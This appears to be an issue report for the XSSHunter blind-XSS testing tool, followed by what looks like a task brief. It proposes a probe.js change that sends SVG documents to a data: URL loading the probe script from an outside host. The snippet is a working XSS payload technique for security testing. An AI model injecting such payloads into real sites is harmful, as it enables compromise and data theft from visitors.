XSSHunter fails to trigger on SVGDocument

This is a great tool for XSS testing and while I am playing with it, I noticed that if the Root document is an inline SVG image and using the XSSHunter probe, the XSSHunter JS callback fails to trigger.

Here's a change I made to probe.js by adding the following before if( document.readyState == "complete" ) { line that helps:

if( document instanceof SVGDocument ) {
    document.location="data:text/html,%3Cscript src=[HOST_URL]%3E%3C/script%3E";
}

Basically, this is just creating a data url and injecting the script again from an HTMLDocument or it might be just using the data url as the payload.

Start in probe.js at the document.readyState check and reproduce the failure with an inline SVG root document using the XSSHunter probe. Compare the existing HTML-document flow with the proposed SVGDocument handling. Done means the callback triggers for inline SVG documents while the existing probe behavior remains intact.